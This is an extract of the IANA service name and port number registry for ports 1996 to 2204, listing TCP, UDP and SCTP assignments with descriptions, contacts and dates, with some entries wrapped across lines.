tr-rsrb-port 1996 udp cisco Remote SRB port
gdp-port 1997 tcp cisco Gateway Discovery
Protocol
gdp-port 1997 udp cisco Gateway Discovery
Protocol
x25-svc-port 1998 tcp cisco X.25 service (XOT)
x25-svc-port 1998 udp cisco X.25 service (XOT)
tcp-id-port 1999 tcp cisco identification port
tcp-id-port 1999 udp cisco identification port
cisco-sccp 2000 tcp Cisco SCCP [Dan_Wing] [Dan_Wing] 2003-11
cisco-sccp 2000 udp Cisco SCCp [Dan_Wing] [Dan_Wing] 2003-11
dc 2001 tcp
wizard 2001 udp curry
globe 2002 tcp
globe 2002 udp
brutus 2003 tcp Brutus Server [Johannes_Skov_Frands] [Johannes_Skov_Frands] 2008-02-28
brutus 2003 udp Brutus Server [Johannes_Skov_Frands] [Johannes_Skov_Frands] 2008-02-28
mailbox 2004 tcp
emce 2004 udp CCWS mm conf
berknet 2005 tcp
oracle 2005 udp
invokator 2006 tcp
raid-cd 2006 udp raid
dectalk 2007 tcp
raid-am 2007 udp
conf 2008 tcp
terminaldb 2008 udp
news 2009 tcp
whosockami 2009 udp
search 2010 tcp
IANA assigned this
pipe-server 2010 udp well-formed service name as
a replacement for
"pipe_server".
This entry is an alias to "pipe-server". This entry is now
pipe_server 2010 udp historic, not usable for use with many common service
discovery mechanisms.
raid-cc 2011 tcp raid
servserv 2011 udp
ttyinfo 2012 tcp
raid-ac 2012 udp
raid-am 2013 tcp
raid-cd 2013 udp
troff 2014 tcp
raid-sf 2014 udp
cypress 2015 tcp
raid-cs 2015 udp
bootserver 2016 tcp
bootserver 2016 udp
cypress-stat 2017 tcp
bootclient 2017 udp
terminaldb 2018 tcp
rellpack 2018 udp
whosockami 2019 tcp
about 2019 udp
xinupageserver 2020 tcp
xinupageserver 2020 udp
servexec 2021 tcp
xinuexpansion1 2021 udp
down 2022 tcp
xinuexpansion2 2022 udp
xinuexpansion3 2023 tcp
xinuexpansion3 2023 udp
xinuexpansion4 2024 tcp
xinuexpansion4 2024 udp
ellpack 2025 tcp
xribs 2025 udp
scrabble 2026 tcp
scrabble 2026 udp
shadowserver 2027 tcp
shadowserver 2027 udp
submitserver 2028 tcp
submitserver 2028 udp
hsrpv6 2029 tcp Hot Standby Router Protocol [Ian_Wilson] [Ian_Wilson] 2004-11
IPv6
hsrpv6 2029 udp Hot Standby Router Protocol [Ian_Wilson] [Ian_Wilson] 2004-11
IPv6
device2 2030 tcp
device2 2030 udp
mobrien-chat 2031 tcp mobrien-chat [Mike_O_Brien] [Mike_O_Brien] 2004-11
mobrien-chat 2031 udp mobrien-chat [Mike_O_Brien] [Mike_O_Brien] 2004-11
blackboard 2032 tcp
blackboard 2032 udp
glogger 2033 tcp
glogger 2033 udp
scoremgr 2034 tcp
scoremgr 2034 udp
imsldoc 2035 tcp
imsldoc 2035 udp
e-dpnet 2036 tcp Ethernet WS DP network [Peter_Kaever] [Peter_Kaever] 2005-08
e-dpnet 2036 udp Ethernet WS DP network [Peter_Kaever] [Peter_Kaever] 2005-08
applus 2037 tcp APplus Application Server [Thomas_Boerkel] [Thomas_Boerkel] 2008-06-06 Formerly was P2plus Application Server
applus 2037 udp APplus Application Server [Thomas_Boerkel] [Thomas_Boerkel] 2008-06-06 Formerly was P2plus Application Server
objectmanager 2038 tcp
objectmanager 2038 udp
prizma 2039 tcp Prizma Monitoring Service [Dotan_Ofek] [Dotan_Ofek] 2005-12
prizma 2039 udp Prizma Monitoring Service [Dotan_Ofek] [Dotan_Ofek] 2005-12
lam 2040 tcp
lam 2040 udp
interbase 2041 tcp
interbase 2041 udp
isis 2042 tcp isis
isis 2042 udp isis
isis-bcast 2043 tcp isis-bcast [Ken_Chapman] [Ken_Chapman]
isis-bcast 2043 udp isis-bcast [Ken_Chapman] [Ken_Chapman]
rimsl 2044 tcp
rimsl 2044 udp
cdfunc 2045 tcp
cdfunc 2045 udp
sdfunc 2046 tcp
sdfunc 2046 udp
dls 2047 tcp
dls 2047 udp
dls-monitor 2048 tcp
dls-monitor 2048 udp
shilp 2049 tcp <== NOTE Conflict on 2049 !
shilp 2049 udp <== NOTE Conflict on 2049 !
nfs 2049 tcp Network File System - Sun [Brent_Callaghan] [Brent_Callaghan] Defined TXT keys: path=<path to mount point>
Microsystems
nfs 2049 udp Network File System - Sun [Brent_Callaghan] [Brent_Callaghan] Defined TXT keys: path=<path to mount point>
Microsystems
nfs 2049 sctp Network File System [RFC5665] Defined TXT keys: path=<path to mount point>
av-emb-config 2050 tcp Avaya EMB Config Port [John_Yeager] [John_Yeager]
av-emb-config 2050 udp Avaya EMB Config Port [John_Yeager] [John_Yeager]
epnsdp 2051 tcp EPNSDP [Hiroyasu_Ogata] [Hiroyasu_Ogata]
epnsdp 2051 udp EPNSDP [Hiroyasu_Ogata] [Hiroyasu_Ogata]
clearvisn 2052 tcp clearVisn Services Port [Dave_Lyons] [Dave_Lyons]
clearvisn 2052 udp clearVisn Services Port [Dave_Lyons] [Dave_Lyons]
lot105-ds-upd 2053 tcp Lot105 DSuper Updates [Piers_Scannell] [Piers_Scannell]
lot105-ds-upd 2053 udp Lot105 DSuper Updates [Piers_Scannell] [Piers_Scannell]
weblogin 2054 tcp Weblogin Port [Diego_Saravia] [Diego_Saravia]
weblogin 2054 udp Weblogin Port [Diego_Saravia] [Diego_Saravia]
iop 2055 tcp Iliad-Odyssey Protocol [Bruce_Lueckenhoff] [Bruce_Lueckenhoff]
iop 2055 udp Iliad-Odyssey Protocol [Bruce_Lueckenhoff] [Bruce_Lueckenhoff]
omnisky 2056 tcp OmniSky Port [Oren_Hurvitz] [Oren_Hurvitz]
omnisky 2056 udp OmniSky Port [Oren_Hurvitz] [Oren_Hurvitz]
rich-cp 2057 tcp Rich Content Protocol [Ronen_Vainish] [Ronen_Vainish]
rich-cp 2057 udp Rich Content Protocol [Ronen_Vainish] [Ronen_Vainish]
newwavesearch 2058 tcp NewWaveSearchables RMI [Thomas_Kerkau] [Thomas_Kerkau]
newwavesearch 2058 udp NewWaveSearchables RMI [Thomas_Kerkau] [Thomas_Kerkau]
bmc-messaging 2059 tcp BMC Messaging Service [Portnoy_Boxman] [Portnoy_Boxman]
bmc-messaging 2059 udp BMC Messaging Service [Portnoy_Boxman] [Portnoy_Boxman]
teleniumdaemon 2060 tcp Telenium Daemon IF [Nick_Woronuk] [Nick_Woronuk]
teleniumdaemon 2060 udp Telenium Daemon IF [Nick_Woronuk] [Nick_Woronuk]
netmount 2061 tcp NetMount [Alex_Oberlander] [Alex_Oberlander]
netmount 2061 udp NetMount [Alex_Oberlander] [Alex_Oberlander]
icg-swp 2062 tcp ICG SWP Port
icg-swp 2062 udp ICG SWP Port
icg-bridge 2063 tcp ICG Bridge Port
icg-bridge 2063 udp ICG Bridge Port
icg-iprelay 2064 tcp ICG IP Relay Port [Steve_Quintana] [Steve_Quintana]
icg-iprelay 2064 udp ICG IP Relay Port [Steve_Quintana] [Steve_Quintana]
dlsrpn 2065 tcp Data Link Switch Read Port [Amir_Peless] [Amir_Peless]
Number
dlsrpn 2065 udp Data Link Switch Read Port [Amir_Peless] [Amir_Peless]
Number
aura 2066 tcp AVM USB Remote Architecture [Diego_Friedel] [Diego_Friedel] 2006-03
aura 2066 udp AVM USB Remote Architecture [Diego_Friedel] [Diego_Friedel] 2006-03
dlswpn 2067 tcp Data Link Switch Write Port [Amir_Peless] [Amir_Peless]
Number
dlswpn 2067 udp Data Link Switch Write Port [Amir_Peless] [Amir_Peless]
Number
avauthsrvprtcl 2068 tcp Avocent AuthSrv Protocol [Steven_W_Clark_2] [Steven_W_Clark_2]
avauthsrvprtcl 2068 udp Avocent AuthSrv Protocol [Steven_W_Clark_2] [Steven_W_Clark_2]
event-port 2069 tcp HTTP Event Port [Larry_Emlich] [Larry_Emlich]
event-port 2069 udp HTTP Event Port [Larry_Emlich] [Larry_Emlich]
ah-esp-encap 2070 tcp AH and ESP Encapsulated in [Amy_Weaver] [Amy_Weaver]
UDP packet
ah-esp-encap 2070 udp AH and ESP Encapsulated in [Amy_Weaver] [Amy_Weaver]
UDP packet
acp-port 2071 tcp Axon Control Protocol [Christiaan_Simons] [Christiaan_Simons]
acp-port 2071 udp Axon Control Protocol [Christiaan_Simons] [Christiaan_Simons]
msync 2072 tcp GlobeCast mSync [Piers_Scannell_2] [Piers_Scannell_2]
msync 2072 udp GlobeCast mSync [Piers_Scannell_2] [Piers_Scannell_2]
gxs-data-port 2073 tcp DataReel Database Socket [Douglas_M_Gaer] [Douglas_M_Gaer]
gxs-data-port 2073 udp DataReel Database Socket [Douglas_M_Gaer] [Douglas_M_Gaer]
vrtl-vmf-sa 2074 tcp Vertel VMF SA [Alan_Akahoshi] [Alan_Akahoshi]
vrtl-vmf-sa 2074 udp Vertel VMF SA [Alan_Akahoshi] [Alan_Akahoshi]
newlixengine 2075 tcp Newlix ServerWare Engine
newlixengine 2075 udp Newlix ServerWare Engine
newlixconfig 2076 tcp Newlix JSPConfig [Jean_Serge_Gagnon] [Jean_Serge_Gagnon]
newlixconfig 2076 udp Newlix JSPConfig [Jean_Serge_Gagnon] [Jean_Serge_Gagnon]
tsrmagt 2077 tcp Old Tivoli Storage Manager
tsrmagt 2077 udp Old Tivoli Storage Manager
tpcsrvr 2078 tcp IBM Total Productivity [Justin_R_Bendich] [Justin_R_Bendich]
Center Server
tpcsrvr 2078 udp IBM Total Productivity [Justin_R_Bendich] [Justin_R_Bendich]
Center Server
idware-router 2079 tcp IDWARE Router Port [Zdenek_Kolba] [Zdenek_Kolba]
idware-router 2079 udp IDWARE Router Port [Zdenek_Kolba] [Zdenek_Kolba]
autodesk-nlm 2080 tcp Autodesk NLM (FLEXlm) [Greg_Suppes] [Greg_Suppes]
autodesk-nlm 2080 udp Autodesk NLM (FLEXlm) [Greg_Suppes] [Greg_Suppes]
kme-trap-port 2081 tcp KME PRINTER TRAP PORT [Masakatsu_Matsuo] [Masakatsu_Matsuo]
kme-trap-port 2081 udp KME PRINTER TRAP PORT [Masakatsu_Matsuo] [Masakatsu_Matsuo]
infowave 2082 tcp Infowave Mobility Server [Kaz_Kylheku] [Kaz_Kylheku]
infowave 2082 udp Infowave Mobility Server [Kaz_Kylheku] [Kaz_Kylheku]
The TCP port 2083 was already previously assigned by IANA for
"RadSec", an early implementation of RADIUS/TLS, prior to
radsec 2083 tcp Secure Radius Service [IESG] [IETF_Chair] 2005-05 [RFC6614] issuance of this RFC. This early implementation can be
configured to be compatible to RADIUS/TLS as specified by the
IETF. See [RFC6614], Appendix A for details.
The UDP port 2083 was already previously assigned by IANA for
radsec 2083 udp Secure Radius Service [IESG] [IETF_Chair] 2005-05 2014-07-14 [RFC7360] "RadSec", an early implementation of RADIUS/TLS, prior to
issuance of this RFC.
sunclustergeo 2084 tcp SunCluster Geographic [Oracle_2] [Steve_McKinty] 2005-11 2013-08-14
sunclustergeo 2084 udp SunCluster Geographic [Oracle_2] [Steve_McKinty] 2005-11 2013-08-14
ada-cip 2085 tcp ADA Control [Eugene_Frenkel] [Eugene_Frenkel] 2005-11
ada-cip 2085 udp ADA Control [Eugene_Frenkel] [Eugene_Frenkel] 2005-11
gnunet 2086 tcp GNUnet [Christian_Grothoff] [Christian_Grothoff] 2002-10
gnunet 2086 udp GNUnet [Christian_Grothoff] [Christian_Grothoff] 2002-10
eli 2087 tcp ELI - Event Logging [Maya_Zimerman] [Maya_Zimerman]
Integration
eli 2087 udp ELI - Event Logging [Maya_Zimerman] [Maya_Zimerman]
Integration
ip-blf 2088 tcp IP Busy Lamp Field [Jeffrey_Szczepanski] [Jeffrey_Szczepanski] 2005-02
ip-blf 2088 udp IP Busy Lamp Field [Jeffrey_Szczepanski] [Jeffrey_Szczepanski] 2005-02
sep 2089 tcp Security Encapsulation [Maya_Zimerman] [Maya_Zimerman]
Protocol - SEP
sep 2089 udp Security Encapsulation [Maya_Zimerman] [Maya_Zimerman]
Protocol - SEP
lrp 2090 tcp Load Report Protocol [Amir_Peless] [Amir_Peless]
lrp 2090 udp Load Report Protocol [Amir_Peless] [Amir_Peless]
prp 2091 tcp PRP [Amir_Peless] [Amir_Peless]
prp 2091 udp PRP [Amir_Peless] [Amir_Peless]
descent3 2092 tcp Descent 3 [Kevin_Bentley] [Kevin_Bentley]
descent3 2092 udp Descent 3 [Kevin_Bentley] [Kevin_Bentley]
nbx-cc 2093 tcp NBX CC
nbx-cc 2093 udp NBX CC
nbx-au 2094 tcp NBX AU
nbx-au 2094 udp NBX AU
nbx-ser 2095 tcp NBX SER
nbx-ser 2095 udp NBX SER
nbx-dir 2096 tcp NBX DIR [Henry_Houh] [Henry_Houh]
nbx-dir 2096 udp NBX DIR [Henry_Houh] [Henry_Houh]
jetformpreview 2097 tcp Jet Form Preview [Zygmunt_Wiercioch] [Zygmunt_Wiercioch]
jetformpreview 2097 udp Jet Form Preview [Zygmunt_Wiercioch] [Zygmunt_Wiercioch]
dialog-port 2098 tcp Dialog Port [Joseph_Mathew] [Joseph_Mathew]
dialog-port 2098 udp Dialog Port [Joseph_Mathew] [Joseph_Mathew]
h2250-annex-g 2099 tcp H.225.0 Annex G Signalling [ITU-T] [ITU-T_TSB] 2013-01-31
h2250-annex-g 2099 udp H.225.0 Annex G Signalling [ITU-T] [ITU-T_TSB] 2013-01-31
amiganetfs 2100 tcp Amiga Network Filesystem [Rudi_Chiarito] [Rudi_Chiarito]
amiganetfs 2100 udp Amiga Network Filesystem [Rudi_Chiarito] [Rudi_Chiarito]
rtcm-sc104 2101 tcp rtcm-sc104 [Wolfgang_Rupprecht] [Wolfgang_Rupprecht]
rtcm-sc104 2101 udp rtcm-sc104 [Wolfgang_Rupprecht] [Wolfgang_Rupprecht]
zephyr-srv 2102 tcp Zephyr server
zephyr-srv 2102 udp Zephyr server
zephyr-clt 2103 tcp Zephyr serv-hm connection
zephyr-clt 2103 udp Zephyr serv-hm connection
zephyr-hm 2104 tcp Zephyr hostmanager [Greg_Hudson] [Greg_Hudson]
zephyr-hm 2104 udp Zephyr hostmanager [Greg_Hudson] [Greg_Hudson]
minipay 2105 tcp MiniPay [Amir_Herzberg] [Amir_Herzberg]
minipay 2105 udp MiniPay [Amir_Herzberg] [Amir_Herzberg]
mzap 2106 tcp MZAP [Dave_Thaler_2] [Dave_Thaler_2]
mzap 2106 udp MZAP [Dave_Thaler_2] [Dave_Thaler_2]
bintec-admin 2107 tcp BinTec Admin [Thomas_Schmidt] [Thomas_Schmidt]
bintec-admin 2107 udp BinTec Admin [Thomas_Schmidt] [Thomas_Schmidt]
comcam 2108 tcp Comcam [Don_Gilbreath] [Don_Gilbreath]
comcam 2108 udp Comcam [Don_Gilbreath] [Don_Gilbreath]
ergolight 2109 tcp Ergolight [Jindra_Ryvola] [Jindra_Ryvola]
ergolight 2109 udp Ergolight [Jindra_Ryvola] [Jindra_Ryvola]
umsp 2110 tcp UMSP [Alexander_Bogdanov_2] [Alexander_Bogdanov_2]
umsp 2110 udp UMSP [Alexander_Bogdanov_2] [Alexander_Bogdanov_2]
dsatp 2111 tcp OPNET Dynamic Sampling Agent [OPNET_Technologies_Inc] [Edward_Macomber] 2011-09-21
Transaction Protocol
dsatp 2111 udp OPNET Dynamic Sampling Agent [OPNET_Technologies_Inc] [Edward_Macomber] 2011-09-21
Transaction Protocol
idonix-metanet 2112 tcp Idonix MetaNet [Paul_Harrison] [Paul_Harrison]
idonix-metanet 2112 udp Idonix MetaNet [Paul_Harrison] [Paul_Harrison]
hsl-storm 2113 tcp HSL StoRM [Jost_Faganel] [Jost_Faganel]
hsl-storm 2113 udp HSL StoRM [Jost_Faganel] [Jost_Faganel]
ariascribe 2114 tcp Classical Music Meta-Data [Aria_Scribe_Software_Ltd] [Michael_Levy] 2018-02-05
Access and Enhancement
ariascribe 2114 udp Classical Music Meta-Data [Aria_Scribe_Software_Ltd] [Michael_Levy] 2018-02-05
Access and Enhancement
kdm 2115 tcp Key Distribution Manager [Mike_Little] [Mike_Little]
kdm 2115 udp Key Distribution Manager [Mike_Little] [Mike_Little]
ccowcmr 2116 tcp CCOWCMR [Mark_Morwood] [Mark_Morwood]
ccowcmr 2116 udp CCOWCMR [Mark_Morwood] [Mark_Morwood]
mentaclient 2117 tcp MENTACLIENT
mentaclient 2117 udp MENTACLIENT
mentaserver 2118 tcp MENTASERVER [Ilan_Shlosberg] [Ilan_Shlosberg]
mentaserver 2118 udp MENTASERVER [Ilan_Shlosberg] [Ilan_Shlosberg]
gsigatekeeper 2119 tcp GSIGATEKEEPER [Steve_Tuecke] [Steve_Tuecke]
gsigatekeeper 2119 udp GSIGATEKEEPER [Steve_Tuecke] [Steve_Tuecke]
qencp 2120 tcp Quick Eagle Networks CP [Santa_Dasu] [Santa_Dasu]
qencp 2120 udp Quick Eagle Networks CP [Santa_Dasu] [Santa_Dasu]
scientia-ssdb 2121 tcp SCIENTIA-SSDB [SYSTEMS_MANAGER] [SYSTEMS_MANAGER]
scientia-ssdb 2121 udp SCIENTIA-SSDB [SYSTEMS_MANAGER] [SYSTEMS_MANAGER]
caupc-remote 2122 tcp CauPC Remote Control [Environics_Oy] [Environics_Oy]
caupc-remote 2122 udp CauPC Remote Control [Environics_Oy] [Environics_Oy]
gtp-control 2123 tcp GTP-Control Plane (3GPP) [Alessio_Casati] [Alessio_Casati]
gtp-control 2123 udp GTP-Control Plane (3GPP) [Alessio_Casati] [Alessio_Casati]
elatelink 2124 tcp ELATELINK [Tim_Lawrence] [Tim_Lawrence]
elatelink 2124 udp ELATELINK [Tim_Lawrence] [Tim_Lawrence]
lockstep 2125 tcp LOCKSTEP [Karl_Forster] [Karl_Forster]
lockstep 2125 udp LOCKSTEP [Karl_Forster] [Karl_Forster]
pktcable-cops 2126 tcp PktCable-COPS [Glenn_Russell] [Glenn_Russell]
pktcable-cops 2126 udp PktCable-COPS [Glenn_Russell] [Glenn_Russell]
index-pc-wb 2127 tcp INDEX-PC-WB [James_David_Fisher] [James_David_Fisher]
index-pc-wb 2127 udp INDEX-PC-WB [James_David_Fisher] [James_David_Fisher]
net-steward 2128 tcp Net Steward Control [Martin_Norman] [Martin_Norman]
net-steward 2128 udp Net Steward Control [Martin_Norman] [Martin_Norman]
cs-live 2129 tcp cs-live.com [Matt_Lachance] [Matt_Lachance]
cs-live 2129 udp cs-live.com [Matt_Lachance] [Matt_Lachance]
xds 2130 tcp XDS [Peter_Zurich] [Peter_Zurich]
xds 2130 udp XDS [Peter_Zurich] [Peter_Zurich]
avantageb2b 2131 tcp Avantageb2b [Avi_Software] [Avi_Software]
avantageb2b 2131 udp Avantageb2b [Avi_Software] [Avi_Software]
solera-epmap 2132 tcp SoleraTec End Point Map [Mark_Armstrong] [Mark_Armstrong]
solera-epmap 2132 udp SoleraTec End Point Map [Mark_Armstrong] [Mark_Armstrong]
zymed-zpp 2133 tcp ZYMED-ZPP [Gregg_Welker] [Gregg_Welker]
zymed-zpp 2133 udp ZYMED-ZPP [Gregg_Welker] [Gregg_Welker]
avenue 2134 tcp AVENUE [Jason_Cater] [Jason_Cater]
avenue 2134 udp AVENUE [Jason_Cater] [Jason_Cater]
gris 2135 tcp Grid Resource Information [Steve_Tuecke] [Steve_Tuecke]
Server
gris 2135 udp Grid Resource Information [Steve_Tuecke] [Steve_Tuecke]
Server
appworxsrv 2136 tcp APPWORXSRV [Fred_McLain] [Fred_McLain]
appworxsrv 2136 udp APPWORXSRV [Fred_McLain] [Fred_McLain]
connect 2137 tcp CONNECT [Reid_Ligon] [Reid_Ligon]
connect 2137 udp CONNECT [Reid_Ligon] [Reid_Ligon]
unbind-cluster 2138 tcp UNBIND-CLUSTER [Francois_Harvey] [Francois_Harvey]
unbind-cluster 2138 udp UNBIND-CLUSTER [Francois_Harvey] [Francois_Harvey]
ias-auth 2139 tcp IAS-AUTH
ias-auth 2139 udp IAS-AUTH
ias-reg 2140 tcp IAS-REG
ias-reg 2140 udp IAS-REG
ias-admind 2141 tcp IAS-ADMIND [Baiju_V_Patel] [Baiju_V_Patel]
ias-admind 2141 udp IAS-ADMIND [Baiju_V_Patel] [Baiju_V_Patel]
tdmoip 2142 tcp TDM OVER IP [Yaakov_Stein] [Yaakov_Stein] 2016-09-21 [RFC5087]
tdmoip 2142 udp TDM OVER IP [Yaakov_Stein] [Yaakov_Stein] 2016-09-21 [RFC5087]
lv-jc 2143 tcp Live Vault Job Control
lv-jc 2143 udp Live Vault Job Control
lv-ffx 2144 tcp Live Vault Fast Object
Transfer
lv-ffx 2144 udp Live Vault Fast Object
Transfer
lv-pici 2145 tcp Live Vault Remote Diagnostic
Console Support
lv-pici 2145 udp Live Vault Remote Diagnostic
Console Support
lv-not 2146 tcp Live Vault Admin Event
Notification
lv-not 2146 udp Live Vault Admin Event
Notification
lv-auth 2147 tcp Live Vault Authentication [Ted_Hess] [Ted_Hess]
lv-auth 2147 udp Live Vault Authentication [Ted_Hess] [Ted_Hess]
veritas-ucl 2148 tcp VERITAS UNIVERSAL [Songlin_Ren] [Songlin_Ren]
COMMUNICATION LAYER
veritas-ucl 2148 udp VERITAS UNIVERSAL [Songlin_Ren] [Songlin_Ren]
COMMUNICATION LAYER
acptsys 2149 tcp ACPTSYS [Michael_Lekias] [Michael_Lekias]
acptsys 2149 udp ACPTSYS [Michael_Lekias] [Michael_Lekias]
dynamic3d 2150 tcp DYNAMIC3D [Tobias_Wegner] [Tobias_Wegner]
dynamic3d 2150 udp DYNAMIC3D [Tobias_Wegner] [Tobias_Wegner]
docent 2151 tcp DOCENT [Hali_Lindbloom] [Hali_Lindbloom]
docent 2151 udp DOCENT [Hali_Lindbloom] [Hali_Lindbloom]
gtp-user 2152 tcp GTP-User Plane (3GPP) [Alessio_Casati] [Alessio_Casati]
gtp-user 2152 udp GTP-User Plane (3GPP) [Alessio_Casati] [Alessio_Casati]
ctlptc 2153 tcp Control Protocol
ctlptc 2153 udp Control Protocol
stdptc 2154 tcp Standard Protocol
stdptc 2154 udp Standard Protocol
brdptc 2155 tcp Bridge Protocol [Hideki_Hatta] [Hideki_Hatta] 2007-09-27
brdptc 2155 udp Bridge Protocol [Hideki_Hatta] [Hideki_Hatta] 2007-09-27
trp 2156 tcp Talari Reliable Protocol [John_E_Dickey] [John_E_Dickey] 2007-09-27
trp 2156 udp Talari Reliable Protocol [John_E_Dickey] [John_E_Dickey] 2007-09-27
xnds 2157 tcp Xerox Network Document Scan [William_R_Lear] [William_R_Lear] 2008-03-06
Protocol
xnds 2157 udp Xerox Network Document Scan [William_R_Lear] [William_R_Lear] 2008-03-06
Protocol
touchnetplus 2158 tcp TouchNetPlus Service [Brian_Toothill] [Brian_Toothill] 2008-03-06
touchnetplus 2158 udp TouchNetPlus Service [Brian_Toothill] [Brian_Toothill] 2008-03-06
gdbremote 2159 tcp GDB Remote Debug Port [Nigel_Stephens] [Nigel_Stephens]
gdbremote 2159 udp GDB Remote Debug Port [Nigel_Stephens] [Nigel_Stephens]
apc-2160 2160 tcp APC 2160 [American_Power_Conve] [American_Power_Conve]
apc-2160 2160 udp APC 2160 [American_Power_Conve] [American_Power_Conve]
apc-2161 2161 tcp APC 2161 [American_Power_Conve] [American_Power_Conve]
apc-2161 2161 udp APC 2161 [American_Power_Conve] [American_Power_Conve]
navisphere 2162 tcp Navisphere
navisphere 2162 udp Navisphere
navisphere-sec 2163 tcp Navisphere Secure [Andreas_Bauer] [Andreas_Bauer]
navisphere-sec 2163 udp Navisphere Secure [Andreas_Bauer] [Andreas_Bauer]
ddns-v3 2164 tcp Dynamic DNS Version 3 [Alan_Yates] [Alan_Yates]
ddns-v3 2164 udp Dynamic DNS Version 3 [Alan_Yates] [Alan_Yates]
x-bone-api 2165 tcp X-Bone API [Joe_Touch] [Joe_Touch]
x-bone-api 2165 udp X-Bone API [Joe_Touch] [Joe_Touch]
iwserver 2166 tcp iwserver [Fred_Surr] [Fred_Surr]
iwserver 2166 udp iwserver [Fred_Surr] [Fred_Surr]
raw-serial 2167 tcp Raw Async Serial Link [Benjamin_Green] [Benjamin_Green]
raw-serial 2167 udp Raw Async Serial Link [Benjamin_Green] [Benjamin_Green]
easy-soft-mux 2168 tcp easy-soft Multiplexer [Norbert_Kintzler] [Norbert_Kintzler] 2004-11
easy-soft-mux 2168 udp easy-soft Multiplexer [Norbert_Kintzler] [Norbert_Kintzler] 2004-11
Backbone for Academic
brain 2169 tcp Information Notification [Archishmat_Gore] [Archishmat_Gore] 2004-11
(BRAIN)
Backbone for Academic
brain 2169 udp Information Notification [Archishmat_Gore] [Archishmat_Gore] 2004-11
(BRAIN)
eyetv 2170 tcp EyeTV Server Port [Elgato_Systems] [Elgato_Systems] 2004-11
eyetv 2170 udp EyeTV Server Port [Elgato_Systems] [Elgato_Systems] 2004-11
msfw-storage 2171 tcp MS Firewall Storage
msfw-storage 2171 udp MS Firewall Storage
msfw-s-storage 2172 tcp MS Firewall SecureStorage
msfw-s-storage 2172 udp MS Firewall SecureStorage
msfw-replica 2173 tcp MS Firewall Replication
msfw-replica 2173 udp MS Firewall Replication
msfw-array 2174 tcp MS Firewall Intra Array [Itai_Greenberg] [Itai_Greenberg] 2004-11
msfw-array 2174 udp MS Firewall Intra Array [Itai_Greenberg] [Itai_Greenberg] 2004-11
airsync 2175 tcp Microsoft Desktop AirSync
Protocol
airsync 2175 udp Microsoft Desktop AirSync
Protocol
rapi 2176 tcp Microsoft ActiveSync Remote [Jon_Xu] [Jon_Xu] 2005-08
API
rapi 2176 udp Microsoft ActiveSync Remote [Jon_Xu] [Jon_Xu] 2005-08
API
qwave 2177 tcp qWAVE Bandwidth Estimate [Gabe_Frost] [Gabe_Frost] 2005-08
qwave 2177 udp qWAVE Bandwidth Estimate [Gabe_Frost] [Gabe_Frost] 2005-08
bitspeer 2178 tcp Peer Services for BITS [Jeff_Roberts] [Jeff_Roberts] 2005-11
bitspeer 2178 udp Peer Services for BITS [Jeff_Roberts] [Jeff_Roberts] 2005-11
vmrdp 2179 tcp Microsoft RDP for virtual [Brian_Henry] [Brian_Henry] 2007-03
machines
vmrdp 2179 udp Microsoft RDP for virtual [Brian_Henry] [Brian_Henry] 2007-03
machines
mc-gt-srv 2180 tcp Millicent Vendor Gateway [Steve_Glassman] [Steve_Glassman]
Server
mc-gt-srv 2180 udp Millicent Vendor Gateway [Steve_Glassman] [Steve_Glassman]
Server
eforward 2181 tcp eforward [Greg_Pringle] [Greg_Pringle]
eforward 2181 udp eforward [Greg_Pringle] [Greg_Pringle]
cgn-stat 2182 tcp CGN status
cgn-stat 2182 udp CGN status
cgn-config 2183 tcp Code Green configuration [Chris_Michaelson] [Chris_Michaelson] 2005-08
cgn-config 2183 udp Code Green configuration [Chris_Michaelson] [Chris_Michaelson] 2005-08
nvd 2184 tcp NVD User [Yves_Gattegno] [Yves_Gattegno] 2004-12
nvd 2184 udp NVD User [Yves_Gattegno] [Yves_Gattegno] 2004-12
onbase-dds 2185 tcp OnBase Distributed Disk [Paul_Tam] [Paul_Tam] 2004-12
Services
onbase-dds 2185 udp OnBase Distributed Disk [Paul_Tam] [Paul_Tam] 2004-12
Services
gtaua 2186 tcp Guy-Tek Automated Update [Daniel_Story] [Daniel_Story] 2008-01-25
Applications
gtaua 2186 udp Guy-Tek Automated Update [Daniel_Story] [Daniel_Story] 2008-01-25
Applications
ssmc 2187 tcp Sepehr System Management
Control
ssmd 2187 udp Sepehr System Management [Shahriar_Pourazin] [Shahriar_Pourazin] 2008-12-02
Data
radware-rpm 2188 tcp Radware Resource Pool [Radware_LTD] [Samuel_Bercovici] 2011-08-05
Manager
2188 udp Reserved
radware-rpm-s 2189 tcp Secure Radware Resource Pool [Radware_LTD] [Samuel_Bercovici] 2011-08-05
Manager
2189 udp Reserved
tivoconnect 2190 tcp TiVoConnect Beacon [Jeffrey_J_Peters] [Jeffrey_J_Peters] 2002-08
tivoconnect 2190 udp TiVoConnect Beacon [Jeffrey_J_Peters] [Jeffrey_J_Peters] 2002-08
tvbus 2191 tcp TvBus Messaging [Brian_W_Beach] [Brian_W_Beach] 2003-01
tvbus 2191 udp TvBus Messaging [Brian_W_Beach] [Brian_W_Beach] 2003-01
asdis 2192 tcp ASDIS software management [ASDIS_Support] [ASDIS_Support] 2005-08
asdis 2192 udp ASDIS software management [ASDIS_Support] [ASDIS_Support] 2005-08
drwcs 2193 tcp Dr.Web Enterprise Management [Eugeny_Gladkih] [Eugeny_Gladkih] 2008-01-31
Service
drwcs 2193 udp Dr.Web Enterprise Management [Eugeny_Gladkih] [Eugeny_Gladkih] 2008-01-31
Service
Unauthorized
2194-2196 Unassigned Use Known on
ports
2194-2196
mnp-exchange 2197 tcp MNP data exchange [Peter_Pramberger] [Peter_Pramberger] 2004-11
mnp-exchange 2197 udp MNP data exchange [Peter_Pramberger] [Peter_Pramberger] 2004-11
onehome-remote 2198 tcp OneHome Remote Access
onehome-remote 2198 udp OneHome Remote Access
onehome-help 2199 tcp OneHome Service Port [Jim_Herman] [Jim_Herman] 2005-08
onehome-help 2199 udp OneHome Service Port [Jim_Herman] [Jim_Herman] 2005-08
ici 2200 tcp ICI [Brent_Hines] [Brent_Hines]
ici 2200 udp ICI [Brent_Hines] [Brent_Hines]
ats 2201 tcp Advanced Training System
Program
ats 2201 udp Advanced Training System
Program
imtc-map 2202 tcp Int. Multimedia [Pat_Galvin] [Pat_Galvin]
Teleconferencing Cosortium
imtc-map 2202 udp Int. Multimedia [Pat_Galvin] [Pat_Galvin]
Teleconferencing Cosortium
b2-runtime 2203 tcp b2 Runtime Protocol
b2-runtime 2203 udp b2 Runtime Protocol
b2-license 2204 tcp b2 License Server [Helge_Frank_Zimpel] [Helge_Frank_Zimpel] 2006-01
b2-license 2204 udp b2 License Server [Helge_Frank_Zimpel] [Helge_Frank_Zimpel] 2006-01
